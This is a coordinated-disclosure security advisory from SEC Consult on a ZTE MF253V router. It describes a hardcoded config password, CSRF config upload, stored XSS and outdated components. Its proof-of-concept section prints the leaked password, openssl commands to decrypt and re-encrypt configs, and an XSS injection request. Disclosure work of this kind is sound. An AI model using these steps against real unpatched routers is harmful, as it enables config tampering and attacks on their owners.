SEC Consult Vulnerability Lab Security Advisory < 20201123-0 > ======================================================================= title: Multiple Vulnerabilities product: ZTE WLAN router MF253V vulnerable version: V1.0.0B04 fixed version: V1.0.0B05 CVE number: impact: Medium homepage: https://www.zte.com.cn found: 2020-01-07 by: T. Weber (Office Vienna) S. Robertz (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "ZTE Corporation is a global leader in telecommunications and information technology. Founded in 1985 and listed on both the Hong Kong and Shenzhen Stock Exchanges, the company has been committed to providing integrated end-to-end innovations to deliver excellence and value to consumers, carriers, businesses and public sector customers from over 160 countries around the world to enable increased connectivity and productivity." Source: https://www.zte.com.cn/global/about/corporate_information Business recommendation: ------------------------ The vendor provides a patch via push notifications in the web-interface of the device. The patch should be installed immediately. SEC Consult recommends to perform a thorough security review of these products conducted by security professionals to identify and resolve all security issues. Vulnerability overview/description: ----------------------------------- 1) Hardcoded Password for Config File The device contains a hardcoded password for the config file. Hence, all config files from devices of the same model can be decrypted and modified by an attacker for malicious purposes. 2) Config Upload via Cross-Site Request Forgery (CSRF) A malicious config file can be uploaded by exploiting a CSRF vulnerability. An attacker can reconfigure the router by luring the user to a crafted web-site. 3) Stored Cross-Site Scripting (XSS) A cross-site scripting payload can be placed by an authenticated attacker by intercepting a POST request to "/goform/goform_set_cmd_process" or by abusing the config upload described in section 2). Thus, an attacker is able to perform malicious actions in the context of the attacked user. 4) Multiple Outdated Software Components Multiple outdated software components containing vulnerabilities were found by the IoT Inspector. Proof of concept: ----------------- 1) Hardcoded Password for Config File The script "/usr/zte/zte_conf/scripts/para_backup.sh" contains the hardcoded password "himan". It is used to prevent tampering with the configuration file. The initial encrypted configuration can be obtained by logging in and visiting: "http://$IP/cgi-bin/ExportSettings.sh" Decryption: ------------------------------------------------------------------------------- OpenSSL 1.0.1: openssl enc -d -des-ede3-cbc -in <encrypted-config> -out <decrypted-config> -pass pass:himan OPENSSL 1.1.1: openssl enc -d -des-ede3-cbc -md md5 -in <encrypted-config> -out <decrypted-config> -pass pass:himan Encryption: ------------------------------------------------------------------------------- OpenSSL 1.0.1: openssl enc -des-ede3-cbc -in <decrypted-config> -out <encrypted-config> -pass pass:himan OPENSSL 1.1.1: openssl enc -des-ede3-cbc -md md5 -in <decrypted-config> -out <encrypted-config> -pass pass:himan 2) Config Upload via Cross-Site Request Forgery (CSRF) Using the hardcoded password one is able to generate valid config files with malicious settings. The config file can be uploaded by sending the encrypted config file to "http://$IP/cgi-bin/upload_settings.cgi" while logged in. A CSRF vulnerability allows the config to be uploaded to the router by visiting a malicious website when logged in. 3) Stored Cross-Site Scripting (XSS) By using an intercepting proxy, one is able to inject an XSS payload into the POST request, resulting in a stored XSS. Request: ------------------------------------------------------------------------------- POST /goform/goform_set_cmd_process HTTP/1.1 Host: $IP Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://$IP/index.html Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 275 Connection: close isTest=true&notCallback=true&goformId=WAN_GATEWAYMODE_STATIC&static_wan_ipaddr=$IP<script>alert(document.location)</script>&static_wan_netmask=255.255.255.0&static_wan_gateway=192.168.0.2&static_wan_primary_dns=8.8.8.8&static_wan_secondary_dns=9.9.9.9&WAN_MODE=STATIC ------------------------------------------------------------------------------- Maliciously changing some config values and uploading the tampered config as explained in section 2) results in a stored XSS as well: Malicious config excerpt: ------------------------------------------------------------------------------- ... imei=860743031081114<script>alert(document.location)</script> ... ------------------------------------------------------------------------------- 4) Multiple Outdated Software Components The IoT Inspector recognized multiple outdated software components with known vulnerabilities: Busybox 1.23.1: 3 CVEs OpenSSL 1.0.1k: 37 CVEs Curl 7.21.1: 2 CVEs Hostapd 2.3: 21 CVEs Linux Kernel 3.18.20: 191 CVEs Dnsmasq 2.78: 1 CVE Vulnerable / tested versions: ----------------------------- The following product/firmware version has been tested: * ZTE MF253V V1.0.0B04 Vendor contact timeline: ------------------------ 2020-01-16: Sent encrypted advisory to the vendor. 2020-01-17: Vendor confirmed reception of advisory. 2020-02-26: Vendor confirmed vulnerabilities. 2020-03-12: Vendor provided a statement about the outdated software components. 2020-06-03: Vendor prepares a statement about the next steps. 2020-08-04: Telephone call with the vendor. Updates have been released and are available as a push notification in the web-interface of the router. Vendor prepares a list of fixed issues for SEC Consult. 2020-08-30: Multiple phone calls with vendor. Release notes delayed due to sick employees. 2020-09-29: Received release notes of patch. 2020-11-23: Public release of the security advisory. Solution: --------- Upgrade to release: ZTE MF253V V1.0.0B05 Fixed: - Config Upload via Cross-Site Request Forgery (CSRF) - Stored Cross-Site Scripting (XSS) - Hardcoded Password for Config File - Updated OpenSSL to 1.0.2r Other software components could not be upgraded. Workaround: ----------- None. Advisory URL: ------------- https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/career/index.html Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/contact/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF T. Weber, S. Robertz / @2020